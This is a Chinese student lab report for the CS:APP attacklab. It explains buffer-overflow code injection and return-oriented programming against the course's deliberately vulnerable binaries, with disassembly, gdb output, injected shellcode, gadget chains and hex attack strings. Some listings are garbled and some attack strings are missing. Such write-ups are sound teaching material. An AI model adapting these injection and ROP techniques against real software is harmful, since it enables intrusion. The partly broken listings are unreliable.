ICS I attacklab 报告

中国人民大学 李修羽

摘要

RUC 2023-2024 计算机系统基础 I attacklab 的解题思路和实现。

1 ctarget

1.1 Level 1

题目要求 getbuf 结束后返回到 touch1, 查看汇编得到 touch1 的地址为 0x4017d2, getbuf 的汇编如下:

00000000004017bc <getbuf>:

4017bc: 48 83 ec 38 \$0x38,%rsp sub 4017c0: 48 89 e7 mov%rsp,%rdi 4017c3: e8 32 02 00 00 callq 4019fa <Gets> 4017c8: b8 01 00 00 00 \$0x1, %eax mov 4017cd: 48 83 c4 38 add \$0x38,%rsp 4017d1: c3 retq

分配了 56 字节的栈帧空间,于是在 57 到 60 字节修改 retAddr 的地址即可,攻击串为:

1

1.2 Level 2

题目要求 getbuf 结束后返回到 touch2,同时传参 val 的值需要等于 cookie。在代码注入中将 cookie 的值(0x7b030d86)传入 %rdi,然后跳转到 touch2 的地址 0x4017fe。需要注入的代码如下:

Disassembly of section .text:

0000000000000000 <.text>:

```
0: 48 c7 c7 86 0d 03 7b mov $0x7b030d86,%rdi
7: 68 fe 17 40 00 pushq $0x4017fe
c: c3 retq
```

同时应该修改 getbuf 的返回值为 buf 的起始地址,从而让输入的指令生效。使用 gdb 在 mov %rsp,%rdi 处打上断点,从而获取缓冲区起始地址:

```
(gdb) b *0x4017c0
Breakpoint 1 at 0x4017c0: file buf.c, line 14.
(gdb) r -q
Starting program: /mnt/c/Users/45195/OneDrive/
Cookie: 0x7b030d86

Breakpoint 1, getbuf () at buf.c:14
14 buf.c: No such file or directory.
(gdb) display $rsp
1: $rsp = (void *) 0x55649a88
```

于是将 retAddr 修改为 0x55649a88 即可, 攻击串为:

1.3 Level 3

题目要求 getbuf 结束后返回到 touch2,同时传参字符串 sval 的值需要等于 cookie,使用函数 hexmatch 来比较。

0000000000401854 <hexmatch>:

```
      401854:
      41 54
      push
      %r12

      401856:
      55
      push
      %rbp

      401857:
      53
      push
      %rbx

      401858:
      48 83 ec 70
      sub
      $0x70, %rsp
```

注意到 hexmatch 调用时的 push 和 sub \$0x70, %rsp 改变了 buf 缓冲区的内容,可能导致注入的字符串被覆盖。

为了避免注入的 cookie 被覆盖掉,可以将其放在 getbuf 上一级 test 的栈帧,即攻击串的最后,对应的内存地址为 0x55649a88 + 0x40 = 0x55649ac8,需要注入的代码如下:

Disassembly of section .text:

0000000000000000 <.text>:

0: 48 c7 c7 c8 9a 64 55 mov \$0x55649ac8,%rdi

7: 68 d2 18 40 00 pushq \$0x4018d2

c: c3 retq

将 0x7b030d86 改为字符串 37 62 30 33 30 64 38 36, 攻击串为:

48 c7 c7 c8 9a 64 55 68 d2 18 40 00 c3 00 00 00

00 00 00 00 00 00 00 00 88 9a 64 55 00 00 00 00

37 62 30 33 30 64 38 36

2 rtarget

2.1 Level 2

题目要求 getbuf 结束后返回到 touch2,同时传参 val 的值需要等于 cookie,使用 ROP 攻击。

farm 区间的代码并没有包含立即数 \$0x7b030d86,故需要将值存在栈中,使用 popq 传参。搜索机器码发现并不存在 popq %rdi,于是使用两步来传参。

58 popq %rax

48 87 c7 movq %rax, %rdi

在 farm 区间查找 gadget 可以查找到对应的起始地址:

000000000401960 <setval_285>:

401960: c7 07 58 c3 69 4c movl \$0x4c69c358,(%rdi)

401966: c3 retq

000000000040196d <setval_437>:

40196d: c7 07 48 89 c7 90 movl \$0x90c78948,(%rdi)

401973: c3 retq

58 c3 的起始地址为 0x401962, 48 89 c7 90 c3 的起始地址为 0x401973, 其中 c3 为 retq、90 为 nop。

将 gadget 起始地址和 cookie 值按调用顺序注入攻击串中,得

注意最后的 touch2 地址由于不是修改本来的 retAddr,需要补全 8 位,否则会导致 RE。

2.2 Level 3

题目要求 getbuf 结束后返回到 touch2,同时传参字符串 sval 的值需要等于 cookie,使用函数 hexmatch 来比较,使用 ROP 攻击。

由于栈随机化,无法获取 cookie 字符串的准确地址,考虑采用 %rsp 加上偏移值来获取起始地址。结合 farm 中可用的 gadget,可以得到操作指令及其对应的 gadget 起始地址:

48	89	e0	mov	%rsp, %rax	#	0x4019c4
48	89	c7	mov	%rax, %rdi	#	0x40196f
58			popq	%rax	#	0x401962
89	c2		mov	%eax, %edx	#	0x4019a1
89	d1		mov	%edx, %ecx	#	0x4019e5
89	се		mov	%ecx, %esi	#	0x401a64
48	8d	04 37	lea	(%rdi, %rsi, 1), %rax	#	0x40199b <add_xy></add_xy>
48	89	c7	mov	%rax, %rdi	#	0x40196f

将偏移值放在 popq %rax 后,在最后一条指令后加入 touch3 的地址和 cookie 字符串,字符串起始地址离 %rsp 的偏移值为 0x50。

但是注意到 getbuf 执行 ret 后相当于进行了一次 pop 操作,所以偏移量应该为 0x50 - 0x8 = 0x48,得攻击串为:

00 00 00 00 00 00 00 00

c4 19 40 00 00 00 00 00

6f 19 40 00 00 00 00 00

62 19 40 00 00 00 00 00

48 00 00 00 00 00 00 00

a1 19 40 00 00 00 00 00

e5 19 40 00 00 00 00 00

64 1a 40 00 00 00 00 00

9b 19 40 00 00 00 00 00 6f 19 40 00 00 00 00 00

d2 18 40 00 00 00 00 00

37 62 30 33 30 64 38 36